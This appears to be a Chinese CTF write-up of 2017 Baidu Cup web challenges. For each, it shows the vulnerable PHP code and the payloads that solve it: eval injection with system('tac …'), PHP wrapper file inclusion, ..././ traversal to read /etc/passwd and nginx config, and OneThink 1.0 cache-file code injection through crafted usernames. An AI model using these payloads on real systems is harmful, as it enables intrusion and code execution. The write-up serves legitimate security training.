目录
爆破-1
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
$$a ,可以实现变量覆盖,
hello传入GLOBALS全局变量,$$a可以实现查看全部变量
爆破-2
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
变量配合var_dump好像可以直接rce了
姿势很多了
hello=system('tac flag,php')
hello=file('flag.php')
也可以直接
hello=hilight_file('flag.php')
hello=show_source('flag.php')
爆破-3
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120<time()){
session_destroy();
}
$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if($_SESSION['nums']>=10){
echo $flag;
}
show_source(__FILE__);
?>
代码审计
“百度杯”CTF比赛 2017 二月场--web 爆破-3 writeup_会下雪的晴天的博客-CSDN博客
说的也很清楚
- 设置变量nums为0;time为当前时间;whoami的值为:ea
- 120秒后结束回话
- 传入变量value的值
- 创建一个从 “a” 到 “z” 的数组$str_rand
- mt_rand()从0-25随机选取数字,整句话得到两个随机字母
- whoami需要等于value的前两位,并且value的md5值的第5为开始,长度为4的字符串==0
- 循环10次输出flag
md5直接那里直接用数组就可以绕过了
先传入ea,左上角会弹出新的随机字母,继续重复即可,手动的时间完全够
include
<?php
show_source(__FILE__);
if(isset($_REQUEST['path'])){
include($_REQUEST['path']);
}else{
include('phpinfo.php');
}
使用伪协议, hackbar经常有问题,直接用burp就行
Zone
“百度杯”CTF比赛 2017 二月场--Zone_FTOrange的博客-CSDN博客
直接原页面抓包进,修改login=1,然后出现了
这个页面继续抓包,修改login,响应头出现个location
跟着wp操作,尝试在这里访问系统目录 etc/passwd,用../穿越目录没出来,
禁用../的话用双写绕过..././ ,出来了
wp又说查看nginx的配置,(因为这题大概是nginx的漏洞)
查找配位文件的位置为/etc/nginx/nginx.conf
又是说最后一行包含了 sites-enabled/default ,去访问这个
autoindex on 表示打开目录浏览功能,因此可以进行目录遍历了
直接访问/online-movies. ./
还有一个细节,通过robots.txt,知道flag在flag.php里
OneThink
OneThink1.0文件缓存漏洞分析及题目复现 - 安全客,安全资讯平台
这个文章讲了这个漏洞 ,直接学着用就行
注册页面 以 %0a$a=$_GET[a];# 作为用户名注册,并抓包 ,换行符和注释符都能绕过些东西
抓包后,对%0a进行URL解码,可以看到换行效果
然后放包,注册成功
接着注册用户名 %0asystem($a);# 看的出来是要配合rce的,过程同上
然后在按照次序登录这两个用户,过程也跟注册一样,成功登录
然后访问缓存页面 ,配合rce,这个a就是我们登录后的$a了
/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=ls
目录穿越
misc 2 上古神器
这个没遇到过,积累一波 ,就是根据密文找对应坐标的字母
这网站不错棋盘密码在线加密解密 - 千千秀字
其他两个misc好无聊,不写了